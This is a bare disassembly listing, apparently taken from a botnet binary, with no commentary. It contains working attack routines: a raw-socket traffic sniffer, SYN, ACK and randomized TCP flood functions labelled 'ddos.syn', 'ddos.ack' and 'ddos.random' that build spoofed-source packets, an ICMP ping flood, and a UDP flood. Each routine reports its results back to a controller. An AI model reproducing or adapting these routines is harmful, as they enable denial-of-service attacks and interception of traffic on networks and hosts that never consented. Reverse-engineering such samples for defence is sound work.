call dword_4CBA7C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB990 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437848
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9FC ; recv
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_2 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
call dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_2 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437814
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377E0
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377AC
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_437774
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43773C
jmp short loc_413573
sub_4131EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4139CB
add esp, 14h
push eax
lea eax, [ebp+var_494]
push offset unk_4378A4
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413672
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409869
add esp, 14h
loc_413672: ; CODE XREF: sub_4135DF+71j
lea eax, [ebp+var_494]
push eax
call sub_415D38
push [ebp+var_290]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4135DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: sub_4139CB+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB954 ; WSAStartup
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA88 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9E4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9E4 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9E4 ; htons
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9E4 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9E0 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9E4 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_427138 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9E4 ; htons
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9E4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9E0 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9E4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA48 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4378CC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA7C ; closesocket
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB93C ; WSACleanup
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; =============== S U B R O U T I N E =======================================
sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_C]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: sub_4139CB+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4139CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413AC4
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4379CC
push eax
call sub_41C266
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413AA7
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413AA7: ; CODE XREF: sub_413A29+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413AC4: ; CODE XREF: sub_413A29+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413B3B
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_43799C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413B1E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B1E: ; CODE XREF: sub_413A29+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413B3B: ; CODE XREF: sub_413A29+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413BA2
lea eax, [ebp+var_3BC]
push offset unk_43797C
push eax
call sub_41C266
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413B85
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B85: ; CODE XREF: sub_413A29+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413BA2: ; CODE XREF: sub_413A29+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4CB9E4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA24 ; inet_addr
mov esi, dword_4270B0
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413BE0: ; CODE XREF: sub_413A29+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413D8B
push 41Ch
mov byte_4CE750, 45h
call dword_4CB9E4 ; htons
cmp [ebp+var_2C], edi
mov word_4CE752, ax
mov word_4CE754, bx
mov word_4CE756, di
mov byte_4CE758, 80h
mov byte_4CE759, bl
mov word_4CE75A, di
jz short loc_413C66
call sub_41C2C2
mov ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
push 1
mov dword_4CE75C, ebx
pop ebx
jmp short loc_413C7E
; ---------------------------------------------------------------------------
loc_413C66: ; CODE XREF: sub_413A29+20Bj
push [ebp+var_1BC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA24 ; inet_addr
mov dword_4CE75C, eax
loc_413C7E: ; CODE XREF: sub_413A29+23Bj
mov eax, [ebp+var_18]
mov dword_4CE760, eax
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE764, dl
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE765, dl
call sub_41C2C2
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4CE766, di
mov word_4CE76A, bx
inc edx
mov word_4CE768, dx
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4CE76C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4CE750
push [ebp+var_4]
call dword_4CBA48 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413D16
inc [ebp+arg_0]
jmp loc_413BE0
; ---------------------------------------------------------------------------
loc_413D16: ; CODE XREF: sub_413A29+2E3j
push [ebp+var_4]
call dword_4CBA7C ; closesocket
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_437934
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413D6E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413D6E: ; CODE XREF: sub_413A29+323j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413D8B: ; CODE XREF: sub_413A29+1C8j
push [ebp+var_4]
call dword_4CBA7C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4378E8
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413DF3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413DF3: ; CODE XREF: sub_413A29+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_413A29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4CB96C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CBA24 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413E6B
lea eax, [ebp+var_C0]
push eax
call dword_4CBA68 ; gethostbyname
cmp eax, ebx
jz short loc_413E71
loc_413E6B: ; CODE XREF: sub_413E10+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413ECE
loc_413E71: ; CODE XREF: sub_413E10+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_437A24
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413EB1
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413EB1: ; CODE XREF: sub_413E10+7Fj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413ECE: ; CODE XREF: sub_413E10+5Fj
cmp eax, ebx
jz short loc_413EDE
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413EE1
; ---------------------------------------------------------------------------
loc_413EDE: ; CODE XREF: sub_413E10+C0j
mov [ebp+var_4], esi
loc_413EE1: ; CODE XREF: sub_413E10+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413F01
mov [ebp+var_3C], eax
loc_413F01: ; CODE XREF: sub_413E10+ECj
cmp [ebp+var_38], edi
jge short loc_413F09
mov [ebp+var_38], edi
loc_413F09: ; CODE XREF: sub_413E10+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413F36
loc_413F10: ; CODE XREF: sub_413E10+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CB8FC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413F10
loc_413F36: ; CODE XREF: sub_413E10+FEj
push [ebp+arg_0]
call dword_4CBA9C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_4379F8
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413F7F
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413F7F: ; CODE XREF: sub_413E10+14Dj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_413E10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 11h
push 2
push 2
call dword_4CBA64 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_414081
lea eax, [ebp+var_B0]
push eax
call dword_4CBA68 ; gethostbyname
cmp eax, edi
jnz short loc_41407A
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A78
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41405D
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_41405D: ; CODE XREF: sub_413F9C+9Fj
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_41407A: ; CODE XREF: sub_413F9C+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_414084
; ---------------------------------------------------------------------------
loc_414081: ; CODE XREF: sub_413F9C+6Ej
lea eax, [ebp+arg_0]
loc_414084: ; CODE XREF: sub_413F9C+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_41409F
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4140A2
; ---------------------------------------------------------------------------
loc_41409F: ; CODE XREF: sub_413F9C+F0j
push [ebp+var_24]
loc_4140A2: ; CODE XREF: sub_413F9C+101j
call dword_4CB9E4 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4140B4
mov [ebp+var_24], esi
loc_4140B4: ; CODE XREF: sub_413F9C+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_4140C1
mov [ebp+var_24], eax
loc_4140C1: ; CODE XREF: sub_413F9C+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
